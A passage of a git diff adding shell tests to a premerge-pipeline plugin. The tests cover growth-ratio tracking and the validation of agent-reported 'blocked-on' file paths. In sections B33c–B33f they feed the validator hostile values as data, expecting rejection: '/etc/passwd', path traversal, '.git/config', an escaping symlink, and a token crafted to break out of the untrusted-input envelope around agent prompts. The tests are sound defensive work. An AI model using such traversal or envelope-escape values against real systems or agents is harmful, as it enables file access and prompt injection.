gets no case of its own because it has no +# BRANCH of its own: `_read_repair_scope` stats exactly one path, no +# `ci-scope-*` file is it, and the row below returns None from the same +# `os.path.exists` arm. An earlier version of this header counted four and +# left this cause out; the enumeration was short, the coverage was not. +D_DASH="$(new_case)" +write_input "$D_DASH" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_DASH" 1 "$SHA_A" || bad "B32: unmeasured setup 1 failed" +expect_g "$(decide_g "$D_DASH" 1 6 not_green 'blockers_remaining=1')" 'CONTINUE|-|0' \ + "attempt 1 has no predecessor and reports no ratio" +write_input "$D_DASH" '[{"file":"lib/q.sh","line":1,"summary":"quebec","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_DASH" 2 "$SHA_B" || bad "B32: unmeasured setup 2 failed" +expect_g "$(decide_g "$D_DASH" 2 6 not_green 'blockers_remaining=1')" 'CONTINUE|-|0' \ + "a predecessor that published no scope list -- no-edits or CI-arm -- reports no ratio" + +# And the field is on the line even when it has no value: a line whose field set +# varies is a line no `case` pattern can match. +B32_LINE="$(python3 -I -B "$LIB" converge --run-dir "$D_DASH" --attempt 2 --max-repairs 6 \ + --verdict not_green --reasons 'blockers_remaining=1' 2>/dev/null)" +case "$B32_LINE" in + *"NEW=1 GROWTH=- WAIT="*) ok "B32: GROWTH sits between NEW and WAIT on every line" ;; + *) bad "B32: the GROWTH field is missing or misplaced: $B32_LINE" ;; +esac + +# (4) an attempt with NO blockers to divide by. The scope list is present and +# the predecessor's evidence is on disk, so the only thing standing between +# this row and a ZeroDivisionError traceback is the empty-denominator guard +# -- which is why this row asserts rc=0 as well as `-`. +D="$(new_case)" +write_input "$D" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D" 1 "$SHA_A" || bad "B32: zero-blocker setup 1 failed" +decide_g "$D" 1 6 not_green 'blockers_remaining=1' >/dev/null +scope "$D" 1 'lib/a.sh' +write_input "$D" '[]' +plan_at "$D" 2 "$SHA_B" || bad "B32: zero-blocker setup 2 failed" +expect_g "$(decide_g "$D" 2 6 not_green 'ci=red')" 'CONTINUE|-|0' \ + "an attempt with no blockers reports no ratio and does not divide by zero" + +# (5) an OSError on a scope file that IS present. This one is a FAULT, not an +# absence, and it is the only `-` an operator has to act on -- so it +# announces itself on stderr with a token while degrading exactly like the +# other four. A directory at the scope path is the portable way to make +# `os.path.exists` true and `open()` raise, with no dependence on the test +# running as an unprivileged user. +D_ERR="$(new_case)" +write_input "$D_ERR" '[{"file":"lib/a.sh","line":1,"summary":"alpha","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_ERR" 1 "$SHA_A" || bad "B32: unreadable setup 1 failed" +decide_g "$D_ERR" 1 6 not_green 'blockers_remaining=1' >/dev/null +mkdir "$D_ERR/fix-scope-01.modified" +write_input "$D_ERR" '[{"file":"lib/a.sh","line":7,"summary":"delta","failure_scenario":"crash","severity":"blocker"}]' +plan_at "$D_ERR" 2 "$SHA_B" || bad "B32: unreadable setup 2 failed" +expect_g "$(decide_g "$D_ERR" 2 6 not_green 'blockers_remaining=1')" 'CONTINUE|-|0' \ + "an unreadable scope file degrades to no ratio and stops nothing" +if grep -q 'premerge-findings: repair_scope_unreadable:' "$D_ERR/g.err"; then + ok "B32: the unreadable scope file announces itself on stderr" +else + bad "B32: an unreadable scope file was absorbed silently: $(cat "$D_ERR/g.err")" +fi + +# THE MUTATION FOR THAT ROW, THROUGH THE SAME PREDICATE. Same run directory, +# same attempt, same assertion path: replace the directory with the scope list +# it was standing in for, and both halves must move -- the ratio becomes a +# number and the announcement must stop. Without this, the two rows above pass +# just as happily over a `_read_repair_scope` that never reads anything. +rmdir "$D_ERR/fix-scope-01.modified" +scope "$D_ERR" 1 'lib/a.sh' +expect_g "$(decide_g "$D_ERR" 2 6 not_green 'blockers_remaining=1')" 'CONTINUE|1.00|0' \ + "MUTATION: a readable scope list at the same path is measured" +if grep -q 'repair_scope_unreadable' "$D_ERR/g.err"; then + bad "B32: a readable scope file still announced an unreadable one" +else + ok "B32: MUTATION: the stderr announcement is gone once the file is readable" +fi + +# ---- the ledger row, and the SKILL's restatement --------------------------- +# +# Acceptance 4 reads the ratio out of `converge.jsonl`, per attempt, so the +# summary can render it. Asserted on the ledger the run actually wrote. +# +# MEMBERSHIP BEFORE VALUE. `r.get("growth")` alone cannot tell "key present, +# value null" from "the module never wrote a growth key at all" -- both are +# `None` -- so a row keyed on it is the one row that PASSES against a module +# with no growth key whatsoever. `"growth" in r` is the half that reds. +b32_growths() { # b32_growths LEDGER -> ":=,..." + python3 -I -B -c ' +import json, sys +rows = [json.loads(l) for l in open(sys.argv[1], encoding="utf-8").read().splitlines() if l.strip()] +print(",".join("%s:%s=%r" % (r.get("attempt"), "growth" in r, r.get("growth")) for r in rows)) +' "$1" +} + +B32_GROWTHS="$(b32_growths "$D_DASH/converge.jsonl")" +case "$B32_GROWTHS" in + *"2:True=None"*) ok "B32: every ledger row carries a growth key, null when unmeasured" ;; + *) bad "B32: the ledger row has no growth key (got '$B32_GROWTHS')" ;; +esac + +# And the measured half: an assertion that only ever sees null is satisfied by a +# module that writes the key and never populates it. +B32_GROWTHS="$(b32_growths "$D_THRESH/converge.jsonl")" +case "$B32_GROWTHS" in + *"2:True=0.5"*"3:True=0.5"*) ok "B32: a measured ledger row carries the ratio itself" ;; + *) bad "B32: the ledger did not record the measured ratio (got '$B32_GROWTHS')" ;; +esac + +# B15b's technique, applied to the new constants: import one side, read the +# shipped bytes of the other. A restated number a human keeps in step is a +# number that has already drifted. +B32_DRIFT="$(python3 -I -B -c ' +import importlib.util, re, sys +spec = importlib.util.spec_from_file_location("pmf", sys.argv[1]) +module = importlib.util.module_from_spec(spec) +spec.loader.exec_module(module) +text = open(sys.argv[2], encoding="utf-8").read() +bad = [] +for name, value in (("PREMERGE_GROWTH_CEILING", module.CONVERGE_GROWTH_CEILING), + ("PREMERGE_GROWTH_RUNS", module.CONVERGE_GROWTH_RUNS)): + found = re.search(r"^%s\s*=\s*([0-9.]+)" % name, text, re.M) + if found is None: + bad.append("%s:absent" % name) + elif float(found.group(1)) != float(value): + bad.append("%s:skill=%s lib=%s" % (name, found.group(1), value)) +print(";".join(bad) or "agree") +' "$LIB" "$REPO_ROOT/plugins/uberdev/skills/premerge-pipeline/SKILL.md")" +if [ "$B32_DRIFT" = "agree" ]; then + ok "B32: the SKILL's restated growth constants match the library's enforced ones" +else + bad "B32: growth constant drift ($B32_DRIFT)" +fi + +# -------------------------------------------------------------------------- +echo "== B33: attempt N+1's wave plan widens from attempt N's blocked_on_file ==" +# The whole acceptance criterion, executed. The allowed set is derived by the +# FENCE'S OWN jq expression, pulled out of SKILL.md — so a change to that line +# in the shipped fence changes what this row measures, which is the only way a +# fixture can prove anything about a guard that lives in a markdown fence. +D="$(new_case)" +B33_ROOT="$(mktemp -d "$WORK/root.XXXXXX")" +mkdir -p "$B33_ROOT/lib" "$B33_ROOT/tests" +: >"$B33_ROOT/lib/a.sh"; : >"$B33_ROOT/lib/b.sh"; : >"$B33_ROOT/tests/fixture.sh" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/fixture.sh","from_file":"lib/a.sh","reason":"two-way contract: both halves move together"} +]' +if plan_blocked "$D" 2 "$B33_ROOT"; then + ok "B33: plan accepted --carry-blocked --repo-root" +else + bad "B33: plan refused: $(cat "$D/err.txt")" +fi +# Kept for B33e, which greps THIS stderr — the run where nothing was skipped — +# with the same pattern it uses on the run where something was. +B33_CLEAN_ERR="$D/err.txt" +B33_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +if [ "$B33_GOT" = "lib/a.sh tests/fixture.sh " ]; then + ok "B33: the allowed set is exactly the reviewer's file plus the blocked-on file" +else + bad "B33: allowed set was '$B33_GOT', wanted 'lib/a.sh tests/fixture.sh '" +fi +[ "$(triage_blocked "$D")" = "1" ] \ + && ok "B33: the triage line reports BLOCKED=1" \ + || bad "B33: BLOCKED was $(triage_blocked "$D"), wanted 1: $(cat "$D/out.txt")" +# AND NO OTHERS. lib/b.sh exists in the root and is named by nothing, so it +# must not be admitted — the row that tells "widened correctly" apart from +# "widened to whatever was lying around". All three rows drive the SAME +# `admits`, two expecting a hit and one expecting a miss, so a predicate that +# answered the same way every time would red here rather than pass everywhere. +admits "$B33_GOT" "lib/a.sh" \ + && ok "B33: the reviewer's own file is admitted" \ + || bad "B33: the reviewer's file is missing from '$B33_GOT'" +admits "$B33_GOT" "tests/fixture.sh" \ + && ok "B33: the blocked-on file is admitted" \ + || bad "B33: the blocked-on file is missing from '$B33_GOT'" +admits "$B33_GOT" "lib/b.sh" \ + && bad "B33: an unnamed file reached the allowed set: '$B33_GOT'" \ + || ok "B33: a file named by nothing is not admitted" +# Exactly one owner. Two entries for one path would put two agents on one file. +B33_DUP="$(dup_lines "$D/scope-02.raw")" +[ -z "$B33_DUP" ] && ok "B33: every assigned path appears exactly once" \ + || bad "B33: duplicated wave entry: $B33_DUP" +# ANTI-VACUITY for the row above, through the SAME `dup_lines`: a raw list that +# genuinely repeats a path. Without it `dup_lines` could be broken outright — +# or pointed at a `sort -u`ed stream — and the live row would stay green. +printf 'lib/a.sh\nlib/a.sh\ntests/fixture.sh\n' >"$D/dupe.raw" +[ -n "$(dup_lines "$D/dupe.raw")" ] \ + && ok "B33: and dup_lines can actually see a repeat" \ + || bad "B33: dup_lines saw nothing in a list that repeats lib/a.sh" + +echo "== B33a: a blocked-on path the reviewer already named adds no second owner ==" +# `_read_blocked_on` seeds its dedupe with THIS attempt's blocker files, so the +# row is dropped rather than made a second wave member. The check that can see +# it is the raw list: a second entry for lib/a.sh vanishes into `sort -u`. +D="$(new_case)" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"lib/a.sh","from_file":"lib/a.sh","reason":"the fixer named its own file"} +]' +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33a: plan failed: $(cat "$D/err.txt")" +B33A_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +[ "$B33A_GOT" = "lib/a.sh " ] && ok "B33a: the already-named row widens nothing" \ + || bad "B33a: allowed set was '$B33A_GOT', wanted 'lib/a.sh '" +B33A_DUP="$(dup_lines "$D/scope-02.raw")" +[ -z "$B33A_DUP" ] && ok "B33a: and lib/a.sh still has exactly one owner" \ + || bad "B33a: lib/a.sh gained a second owner: $B33A_DUP" +[ "$(counts_field "$D" 02 blocked_on_dropped)" = "1" ] \ + && ok "B33a: the dropped duplicate is counted, not silent" \ + || bad "B33a: blocked_on_dropped was $(counts_field "$D" 02 blocked_on_dropped), wanted 1" + +echo "== B33b: the union does not accumulate across attempts ==" +# Attempt 3 reads blocked-on-02.json and NOTHING else. A monotonically growing +# allowed set admits most of the tree by CONVERGE_REPAIR_CEILING, at which +# point it is no longer a guard. +D="$(new_case)" +: >"$B33_ROOT/tests/older.sh"; : >"$B33_ROOT/tests/newer.sh" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/older.sh","from_file":"lib/a.sh","reason":"attempt 1 said so"} +]' +write_blocked "$D" 02 '[ + {"file":"tests/newer.sh","from_file":"lib/a.sh","reason":"attempt 2 said so"} +]' +# THE CONTROL FIRST, same case dir and same predicate: at attempt 2 the +# attempt-1 artifact IS read and tests/older.sh IS admitted. Without it the row +# below would be just as green if tests/older.sh were unadmittable for some +# unrelated reason, and it would then be proving nothing about accumulation. +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33b: the control plan failed: $(cat "$D/err.txt")" +B33B_CTL="$(allowed_set "$D" 02 | tr '\n' ' ')" +admits "$B33B_CTL" "tests/older.sh" \ + && ok "B33b: attempt 2 does admit attempt 1's path" \ + || bad "B33b: the control never admitted tests/older.sh: '$B33B_CTL'" +plan_blocked "$D" 3 "$B33_ROOT" || bad "B33b: plan failed: $(cat "$D/err.txt")" +B33B_GOT="$(allowed_set "$D" 03 | tr '\n' ' ')" +if [ "$B33B_GOT" = "lib/a.sh tests/newer.sh " ]; then + ok "B33b: attempt 3 admits attempt 2's paths and not attempt 1's" +else + bad "B33b: allowed set was '$B33B_GOT', wanted 'lib/a.sh tests/newer.sh '" +fi + +echo "== B33c: every value is validated, and a bad one is dropped not fatal ==" +# Five rejects and one survivor in ONE document. Refusing would cost the whole +# attempt over a row an agent emitted; dropping is the fail-CLOSED direction, +# because a dropped path is a path no fixer may touch. +# +# The envelope rows name the TOKEN, not a whole closing tag, because that is +# exactly what the library's predicate matches on. ONE copy of it, spliced into +# all three of `reason`, `file` and `from_file` below, so the three cases cannot +# disagree about what string they are testing. +B33_ENVELOPE_TOKEN='external-untrusted-input' +D="$(new_case)" +: >"$B33_ROOT/tests/good.sh" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"/etc/passwd","from_file":"lib/a.sh","reason":"absolute"}, + {"file":"../outside.sh","from_file":"lib/a.sh","reason":"traversal"}, + {"file":".git/config","from_file":"lib/a.sh","reason":"dotgit"}, + {"file":"tests/does-not-exist.sh","from_file":"lib/a.sh","reason":"absent"}, + {"file":"tests/good.sh","from_file":"lib/a.sh","reason":"'"$B33_ENVELOPE_TOKEN"' escape attempt"}, + {"file":"tests/good.sh","from_file":"lib/a.sh","reason":"the honest one"} +]' +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33c: plan refused a document it should tolerate: $(cat "$D/err.txt")" +B33C_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +if [ "$B33C_GOT" = "lib/a.sh tests/good.sh " ]; then + ok "B33c: only the valid row is admitted, and the attempt survives" +else + bad "B33c: allowed set was '$B33C_GOT', wanted 'lib/a.sh tests/good.sh '" +fi +[ "$(counts_field "$D" 02 blocked_on_dropped)" = "5" ] \ + && ok "B33c: all five rejected rows are counted, not silent" \ + || bad "B33c: blocked_on_dropped was $(counts_field "$D" 02 blocked_on_dropped), wanted 5" +# THE IN-DOCUMENT CONTROL. One row of the six survives, so "five dropped" is not +# the same sentence as "every row is dropped" — a validator that refused +# everything would show 6 here and 0 admitted, and both rows would red. +[ "$(counts_field "$D" 02 blocked_on_admitted)" = "1" ] \ + && ok "B33c: and the honest row in the same document still lands" \ + || bad "B33c: blocked_on_admitted was $(counts_field "$D" 02 blocked_on_admitted), wanted 1" + +echo "== B33c2: the envelope token is refused in the AGENT-CHOSEN file value too ==" +# `_read_blocked_on` checks THREE strings, not two: `reason`, `from_file` and +# `file`. `file` is the value the agent chose and it lands verbatim in the +# synthesised finding's `file` key, which the wave prompt pastes into the +# untrusted-input envelope with no encoder between them — the most +# agent-controlled of the three, and the one a two-string check leaves open. +D="$(new_case)" +: >"$B33_ROOT/tests/$B33_ENVELOPE_TOKEN-probe.sh" +: >"$B33_ROOT/tests/envelope-probe.sh" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/'"$B33_ENVELOPE_TOKEN"'-probe.sh","from_file":"lib/a.sh","reason":"an honest reason"} +]' +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33c2: plan refused a document it should tolerate: $(cat "$D/err.txt")" +B33C2_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +admits "$B33C2_GOT" "tests/$B33_ENVELOPE_TOKEN-probe.sh" \ + && bad "B33c2: a path carrying the envelope token reached the allowed set: '$B33C2_GOT'" \ + || ok "B33c2: a path carrying the envelope token is dropped" +[ "$(counts_field "$D" 02 blocked_on_dropped)" = "1" ] \ + && ok "B33c2: and that drop is counted" \ + || bad "B33c2: blocked_on_dropped was $(counts_field "$D" 02 blocked_on_dropped), wanted 1" +# THE CONTROL — the same row shape, the same directory, the same everything but +# the token in the path. It IS admitted, so the row above is measuring the token +# and not "a path under tests/ ending -probe.sh is unadmittable". +D="$(new_case)" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/envelope-probe.sh","from_file":"lib/a.sh","reason":"an honest reason"} +]' +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33c2: the control plan failed: $(cat "$D/err.txt")" +B33C2_CTL="$(allowed_set "$D" 02 | tr '\n' ' ')" +admits "$B33C2_CTL" "tests/envelope-probe.sh" \ + && ok "B33c2: the same row without the token in its path is admitted" \ + || bad "B33c2: the control was refused too, so the row above proves nothing: '$B33C2_CTL'" +# And the third string. `from_file` lands inside the controller-authored +# `summary`, so it is checked as well — same target path as the control above, +# so the only difference between admitted and dropped is where the token sits. +D="$(new_case)" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/envelope-probe.sh","from_file":"lib/'"$B33_ENVELOPE_TOKEN"'.sh","reason":"an honest reason"} +]' +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33c2: the from_file plan failed: $(cat "$D/err.txt")" +B33C2_FROM="$(allowed_set "$D" 02 | tr '\n' ' ')" +admits "$B33C2_FROM" "tests/envelope-probe.sh" \ + && bad "B33c2: a row whose from_file carries the token was admitted: '$B33C2_FROM'" \ + || ok "B33c2: the token in from_file drops the row too" + +echo "== B33d: the widening is capped, and --repo-root is required ==" +D="$(new_case)" +B33D_ROWS='[' +B33D_SEP='' +for B33D_N in 1 2 3 4 5 6 7 8 9 10; do + : >"$B33_ROOT/tests/cap$B33D_N.sh" + B33D_ROWS="$B33D_ROWS$B33D_SEP{\"file\":\"tests/cap$B33D_N.sh\",\"from_file\":\"lib/a.sh\",\"reason\":\"r$B33D_N\"}" + B33D_SEP=',' +done +B33D_ROWS="$B33D_ROWS]" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 "$B33D_ROWS" +plan_blocked "$D" 2 "$B33_ROOT" || bad "B33d: plan failed: $(cat "$D/err.txt")" +B33D_SET="$(allowed_set "$D" 02 | tr '\n' ' ')" +B33D_COUNT="$(allowed_set "$D" 02 | grep -c '^tests/cap')" +[ "$B33D_COUNT" = "8" ] && ok "B33d: 10 blocked-on paths admit exactly MAX_BLOCKED_ON of them" \ + || bad "B33d: admitted $B33D_COUNT capped paths, wanted 8" +[ "$(counts_field "$D" 02 blocked_on_dropped)" = "2" ] \ + && ok "B33d: the two displaced rows are counted, not silent" \ + || bad "B33d: blocked_on_dropped was $(counts_field "$D" 02 blocked_on_dropped), wanted 2" +# WHICH eight, on the same `admits` predicate. The cap keeps the rows it reached +# first and displaces the tail, so "eight of them" cannot be green over the +# wrong eight — and these two rows are each other's mutation. +admits "$B33D_SET" "tests/cap1.sh" \ + && ok "B33d: the first row survives the cap" \ + || bad "B33d: the first row was displaced: '$B33D_SET'" +admits "$B33D_SET" "tests/cap9.sh" \ + && bad "B33d: an overflow row reached the allowed set: '$B33D_SET'" \ + || ok "B33d: the overflow rows are the ones displaced" +B33D_ROOT_TOKEN='blocked_on_root_missing' +if python3 -I -B "$LIB" plan --input "$D/in.json" --out-dir "$D" --attempt 2 \ + --carry-blocked >/dev/null 2>"$D/noroot.err"; then + bad "B33d: --carry-blocked was accepted without --repo-root" +else + grep -q "$B33D_ROOT_TOKEN" "$D/noroot.err" \ + && ok "B33d: --carry-blocked without --repo-root refuses with its own token" \ + || bad "B33d: wrong token: $(cat "$D/noroot.err")" +fi +# ANTI-VACUITY, same variable and same grep, over the stderr of the run in this +# very section that DID pass --repo-root: a pattern loose enough to match +# anything would be green there too. +grep -q "$B33D_ROOT_TOKEN" "$D/err.txt" \ + && bad "B33d: the refusal token appears on a run that supplied --repo-root" \ + || ok "B33d: and that token is absent when --repo-root is supplied" + +echo "== B33e: a corrupt blocked-on artifact widens nothing and kills nothing ==" +B33E_SKIP_TOKEN='blocked_on_unreadable_skipped' +D="$(new_case)" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +printf 'not json at all' >"$D/blocked-on-01.json" +if plan_blocked "$D" 2 "$B33_ROOT"; then + ok "B33e: an unreadable artifact does not cost the attempt" +else + bad "B33e: plan died on a corrupt blocked-on artifact: $(cat "$D/err.txt")" +fi +B33E_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +[ "$B33E_GOT" = "lib/a.sh " ] && ok "B33e: and it widens nothing" \ + || bad "B33e: allowed set was '$B33E_GOT', wanted 'lib/a.sh '" +grep -q "$B33E_SKIP_TOKEN" "$D/err.txt" \ + && ok "B33e: the skip is announced, not silent" \ + || bad "B33e: nothing announced the skip: $(cat "$D/err.txt")" +# ANTI-VACUITY, same variable and same grep, over B33's stderr — an attempt +# whose artifact read cleanly. A token that appeared unconditionally, or a grep +# that matched anything, would be green there and the row above would be air. +grep -q "$B33E_SKIP_TOKEN" "$B33_CLEAN_ERR" \ + && bad "B33e: the skip token appears on an attempt that read its artifact fine" \ + || ok "B33e: and it is absent when the artifact reads cleanly" + +echo "== B33f: containment is a filesystem check, not a lexical one ==" +# A symlink whose path is lexically repo-relative and whose target resolves +# outside. `_repo_path` alone admits it; `_beneath_repo_root` is what refuses. +D="$(new_case)" +B33F_OUT="$(mktemp -d "$WORK/outside.XXXXXX")" +: >"$B33F_OUT/secret.sh" +ln -s "$B33F_OUT" "$B33_ROOT/escape" 2>/dev/null || : +# The in-root twin: same two-segment shape, same depth, real directory. It is +# what makes the row below mean "resolved outside the root" rather than "a path +# one directory down is unadmittable". +mkdir -p "$B33_ROOT/inside" +: >"$B33_ROOT/inside/secret.sh" +if [ -L "$B33_ROOT/escape" ]; then + write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} + ]' + write_blocked "$D" 01 '[ + {"file":"escape/secret.sh","from_file":"lib/a.sh","reason":"lexically fine"}, + {"file":"inside/secret.sh","from_file":"lib/a.sh","reason":"genuinely inside"} + ]' + plan_blocked "$D" 2 "$B33_ROOT" || bad "B33f: plan failed: $(cat "$D/err.txt")" + B33F_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" + admits "$B33F_GOT" "escape/secret.sh" \ + && bad "B33f: a symlink resolving outside the root was admitted: '$B33F_GOT'" \ + || ok "B33f: a symlink resolving outside the root is refused" + admits "$B33F_GOT" "inside/secret.sh" \ + && ok "B33f: and the same shape resolving INSIDE the root is admitted" \ + || bad "B33f: the control was refused too, so the row above proves nothing: '$B33F_GOT'" + [ "$(counts_field "$D" 02 blocked_on_dropped)" = "1" ] \ + && ok "B33f: exactly the escaping row is dropped" \ + || bad "B33f: blocked_on_dropped was $(counts_field "$D" 02 blocked_on_dropped), wanted 1" +else + bad "B33f: could not create the symlink fixture — this row proves nothing" +fi + +echo "== B33g: --carry-blocked is opt-in ==" +D="$(new_case)" +write_input "$D" '[ + {"file":"lib/a.sh","line":1,"summary":"one","failure_scenario":"y","severity":"blocker"} +]' +write_blocked "$D" 01 '[ + {"file":"tests/good.sh","from_file":"lib/a.sh","reason":"present but unrequested"} +]' +python3 -I -B "$LIB" plan --input "$D/in.json" --out-dir "$D" --attempt 2 \ + >"$D/out.txt" 2>"$D/err.txt" || bad "B33g: plan failed: $(cat "$D/err.txt")" +B33G_GOT="$(allowed_set "$D" 02 | tr '\n' ' ')" +[ "$B33G_GOT" = "lib/a.sh " ] && ok "B33g: without the flag the artifact is not read" \ + || bad "B33g: allowed set was '$B33G_GOT', wanted 'lib/a.sh '" +[ "$(triage_blocked "$D")" = "0" ] \ + && ok "B33g: and the line reports BLOCKED=0" \ + || bad "B33g: BLOCKED was $(triage_blocked "$D"), wanted 0: $(cat "$D/out.txt")" + +echo "== B33h: the extractor reads the SHIPPED line, and says so when it cannot ==" +# Every row above is only as honest as `fence_jq_line`. These drive THE SAME +# variable over SKILL-shaped bodies a transcription would sail through, so a +# broken extractor cannot leave the whole section quietly green. +# +# Shape only, never the byte string: re-pinning those bytes here would be a +# second copy of the lock tests/premerge.test.sh already holds, free to drift +# from it. What this row owes is proof that something real came out. +B33H_LIVE="$(fence_jq_line "$SKILL_MD")" +case "$B33H_LIVE" in + "jq -r "*PREMERGE_WAVES_FILE*PREMERGE_SCOPE_RAW*) + ok "B33h: the live extraction is the fence's own scope-guard jq line" ;; + *) bad "B33h: extracted '$B33H_LIVE' from the shipped fence" ;; +esac +B33H_DIR="$(new_case)" +# The fence is present but its column-0 jq line is gone. Two decoys: the gate's +# own `jq -r` inside a command substitution (not at column 0) and a real +# column-0 one in a LATER fence. Both must be invisible. +{ + echo 'prose above the fence' + echo '```bash uberdev-executable origin=premerge-fix-commit' + echo 'set -u' + echo 'PREMERGE_GATE_SAID="$(jq -r '"'"'.verdict'"'"' <"$F")" || exit 2' + echo '```' + echo '```bash uberdev-executable origin=premerge-some-other-fence' + echo 'jq -r '"'"'.waves[][].file'"'"' <"$PREMERGE_WAVES_FILE" >"$PREMERGE_SCOPE_RAW" || exit 2' + echo '```' +} >"$B33H_DIR/no-jq.md" +[ -z "$(fence_jq_line "$B33H_DIR/no-jq.md")" ] \ + && ok "B33h: a fix-commit fence with no column-0 jq line extracts nothing" \ + || bad "B33h: extracted '$(fence_jq_line "$B33H_DIR/no-jq.md")' from a fence that has no such line" +printf 'no fence here at all\n' >"$B33H_DIR/no-fence.md" +[ -z "$(fence_jq_line "$B33H_DIR/no-fence.md")" ] \ + && ok "B33h: a file with no fix-commit fence extracts nothing" \ + || bad "B33h: extracted '$(fence_jq_line "$B33H_DIR/no-fence.md")' from a file with no fence" +# The mutation for the two rows above: a synthetic fence that DOES carry the +# line. Without it, an extractor hardwired to print nothing would pass both. +{ + echo '```bash uberdev-executable origin=premerge-fix-commit' + echo 'set -u' + echo 'jq -r '"'"'.waves[][].file'"'"' <"$PREMERGE_WAVES_FILE" >"$PREMERGE_SCOPE_RAW" || exit 2' + echo '```' +} >"$B33H_DIR/has-jq.md" +case "$(fence_jq_line "$B33H_DIR/has-jq.md")" in + "jq -r "*) ok "B33h: and it does extract one when the fence carries it" ;; + *) bad "B33h: the extractor is blind even to a fence that has the line" ;; +esac +# End to end: `allowed_set` hands the sentinel back as the VALUE, so every +# comparing row above would fail loudly printing it rather than silently +# comparing an empty string against an empty string. +B33H_SENTINEL="$(allowed_set "$D" 02 "$B33H_DIR/no-jq.md")" +[ "$B33H_SENTINEL" = "NO-JQ-LINE-IN-FENCE" ] \ + && ok "B33h: allowed_set returns the sentinel as the value when extraction fails" \ + || bad "B33h: allowed_set answered '$B33H_SENTINEL' over a fence with no jq line" + # -------------------------------------------------------------------------- rm -rf "$WORK" diff --git a/tests/premerge.test.sh b/tests/premerge.test.sh index 2c91f42b..9e6c4be3 100644 --- a/tests/premerge.test.sh +++ b/tests/premerge.test.sh @@ -41,6 +41,11 @@ # argument-hint starts advertising a refusal # P13 — the loop is bounded: a ceiling is named and the never-merge and # never-loop-forever claims are both stated +# P16 — repo-agnosticism: Phase 5's bump probes the TARGET repo (not the +# plugin install), passes that root through to bump-version.sh, and +# skips with a typed reason elsewhere; Phase 0 publishes the private +# ignore policy that keeps the run dir out of a foreign repo's +# cleanliness gate # P17 — the stack-gate blockers, every row scoped to an extracted fence body: # the scope guard's two halves fail in the same direction (#693), one # rule for advancing PREMERGE_ATTEMPT (#692), one aggregate_path (#694), @@ -59,11 +64,25 @@ # runtime and no test noticed (#724) # P20 — every backticked heading reference in the Constants block resolves to # a heading that exists in this file (#724) -# P16 — repo-agnosticism: Phase 5's bump probes the TARGET repo (not the -# plugin install), passes that root through to bump-version.sh, and -# skips with a typed reason elsewhere; Phase 0 publishes the private -# ignore policy that keeps the run dir out of a foreign repo's -# cleanliness gate +# P21 — the growth ratio's surfaces: the library declares the ceiling and the +# decision, the SKILL documents both and prints GROWTH=, and the command +# file names the stop for the operator. The BEHAVIOUR — that the ratio +# is computed, that one round warns and two stop, and that repointing +# the repair scope moves the decision — is driven in B32 of +# tests/premerge-findings.test.sh, which executes the module +# P22 — the fixer-wave return contract names `blocked_on_file` and BOTH of +# its emission cases, scoped to the §2a prompt block rather than to the +# whole file +# P22b — the security row: the commit fence's allowed set STILL derives only +# from `fix-waves-.json`, so a path is committable only while +# exactly one agent owns it. Exactly one producer, and no fence names +# the blocked-on artifact +# P22c — the widening is declared on both surfaces, capped, and reads exactly +# one predecessor; both bypass entries are in common-mistakes.md. The +# cap is compared VALUE-for-value with the library's MAX_BLOCKED_ON, +# and the wave size the SKILL says it equals is compared with what the +# fence actually passes as --max-per-wave — a name grep on either side +# is green at any value (#370/#371) set -u @@ -1194,6 +1213,231 @@ fi assert_fixed "$SKILL" '`PREMERGE_CI_SETTLE_SECS` is consumed by the **controller**' \ "P20: the settle constant's consumer is stated, not left to be re-discovered" +echo "== P21: the growth ratio's surfaces (#754) ==" +# Grep-only, on purpose, and NOT the proof that the detector works: a literal in +# the source is satisfied by a comment mentioning it. What these rows catch is a +# surface DELETED or renamed — a library constant with no restatement, a +# decision the SKILL stopped documenting, an operator file that never learned +# the loop grew a third stop. B32 in tests/premerge-findings.test.sh is the half +# that executes. +assert_fixed "$LIB" 'CONVERGE_GROWTH_CEILING = 0.50' "P21: the library declares the break-even ceiling" +assert_fixed "$LIB" 'CONVERGE_GROWTH_RUNS = 2' "P21: the library declares the consecutive-round requirement" +assert_fixed 